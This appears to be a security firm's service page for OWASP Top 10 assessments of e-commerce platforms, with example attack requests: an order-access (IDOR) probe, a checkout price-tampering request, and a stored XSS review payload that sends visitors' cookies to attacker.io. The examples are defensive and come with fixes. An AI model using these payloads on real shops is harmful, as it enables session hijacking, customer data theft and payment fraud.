OWASP Top 10 Assessment for E-Commerce Platform

The Challenge

E-commerce applications accumulate attack surface quickly — product catalog APIs, checkout flows, customer accounts, admin panels, discount engines, third-party payment integrations, and often a mobile API running alongside the web application. Each feature added is a potential new vulnerability introduced. New developers add product review fields without sanitizing user input; marketing adds coupon code functionality without rate limiting; a third-party integration gets added with permissive CORS configuration that nobody revisits.

E-commerce platforms are also specifically targeted by financially motivated attackers looking for card skimming opportunities (Magecart attacks), credential stuffing targets (customer accounts hold saved payment methods), coupon abuse bots, and inventory manipulation attacks. The attack profile is different from a general SaaS application and requires testing techniques tailored to retail-specific threat actors.

The OWASP Top 10 provides the structured framework for covering the most prevalent vulnerability classes. Combined with e-commerce-specific business logic testing and review of the specific integrations your platform uses, it gives a comprehensive baseline that's also documentable for PCI-DSS compliance purposes.

Signs You Need This

• You handle payment card data or redirect to a payment processor and need PCI-DSS compliance evidence
• Your platform has grown significantly since the last security review and new features have never been tested
• You've noticed unusual order patterns that might indicate discount code abuse or price manipulation
• A competitor or similar platform has experienced a data breach and you want to verify your own exposure
• You're onboarding enterprise B2B customers who require a security assessment report
• You have stored customer payment methods and want confidence that access controls are working correctly

How We Approach It

# Authenticated as user 1001 — test access to user 1002's orders
GET /api/v1/orders/ORD-84729 HTTP/1.1
Host: shop.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxfQ...
Content-Type: application/json

# Vulnerable response — returns another user's order with full PII:
HTTP/1.1 200 OK
{
  "order_id": "ORD-84729",
  "user_id": 1002,
  "email": "victim@example.com",
  "shipping_address": "123 Main St, Austin TX",
  "items": [...],
  "card_last4": "4242",
  "total": 149.99
}

# Secure response should be:
HTTP/1.1 403 Forbidden
{ "error": "Access denied" }

POST /api/v1/checkout HTTP/1.1
Host: shop.example.com
Authorization: Bearer <valid_user_token>
Content-Type: application/json

# Original request (legitimate):
{
  "cart_id": "cart_abc123",
  "items": [
    { "product_id": "SKU-9921", "qty": 1, "unit_price": 299.99 }
  ],
  "coupon": null
}

# Tampered request — unit_price changed to $0.01:
{
  "cart_id": "cart_abc123",
  "items": [
    { "product_id": "SKU-9921", "qty": 1, "unit_price": 0.01 }
  ],
  "coupon": null
}

# Vulnerable response — order created at attacker price:
HTTP/1.1 201 Created
{ "order_id": "ORD-99201", "total_charged": 0.01, "status": "confirmed" }

# Fix: server must re-fetch unit_price from the product catalog,
#      never trust client-supplied prices in the checkout payload.

Stored XSS in Product Review Fields

One of the most consistently found vulnerabilities in e-commerce platforms is stored XSS in the product review submission API — user input is stored and rendered to all visitors on the product page without HTML sanitization. A typical payload test:

# Step 1: Submit review with XSS payload via API
POST /api/v1/products/SKU-9921/reviews HTTP/1.1
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "rating": 5,
  "title": "Great product!",
  "body": "Absolutely love it <script>document.location='https://attacker.io/steal?c='+document.cookie</script>"
}

# Step 2: Any visitor who loads the product page triggers the payload
# The cookie is exfiltrated to attacker.io including session token

# Impact: full session hijacking for any customer who views the product
# Fix: sanitize with DOMPurify on the frontend, strip <script> server-side,
#      implement Content-Security-Policy: default-src 'self' (blocks inline script execution)

Tools We Use

Professional tooling combined with manual testing covers both known vulnerability patterns and e-commerce-specific logic flaws that tools alone would miss.

Common Mistakes We Prevent

• Only testing the storefront and skipping the admin panel — admin panel vulnerabilities have higher business impact than storefront vulnerabilities in most e-commerce attacks
• Testing injection only in obvious input fields and missing hidden parameters, JSON request bodies, and URL path components that are also passed to the database
• Completing OWASP coverage without testing the mobile API separately — mobile apps often hit different API endpoints than the web app and may have different authorization implementations
• Treating a clean automated scan result as a green light — ZAP and similar tools reliably miss business logic vulnerabilities like coupon abuse and price manipulation

What You Get

• OWASP Top 10 mapped findings report with evidence screenshots and exact HTTP requests
• CVSS 3.1 scores for all findings with business impact context specific to e-commerce
• E-commerce business logic vulnerability section covering coupon, price, and inventory manipulation
• Executive summary for non-technical stakeholders and board-level reporting
• Prioritized remediation recommendations with code-level guidance for critical findings
• Free retest of high and critical findings after remediation is complete
• PCI-DSS scoping guidance and compliance mapping if card data or cardholder data environment is in scope

Timeline & What to Expect

After the debrief call, your team works through remediations with support from our findings cards, which include specific code-level fix recommendations. We schedule the retest for 2–3 weeks after the debrief, giving your team time to remediate at a reasonable pace without rushing fixes.

Frequently Asked Questions

When This Is the Right Fit

An OWASP assessment is right for any e-commerce platform that handles customer data or payment information and hasn't had systematic security testing in the last 12 months. It's also the right deliverable for teams that need to demonstrate security testing to enterprise customers, partners, or payment processors asking for a penetration test report. First-time assessments often surface multiple high-severity findings — that's normal, not alarming, and the value is finding them in a controlled context rather than during a breach.

If your platform is very early stage (fewer than 100 customers, not yet handling real payment card data), a full 6-day assessment may be more than you need — consider a focused 2-day authentication and access control review as a starting point. We'll scope honestly for your situation rather than recommend the largest engagement.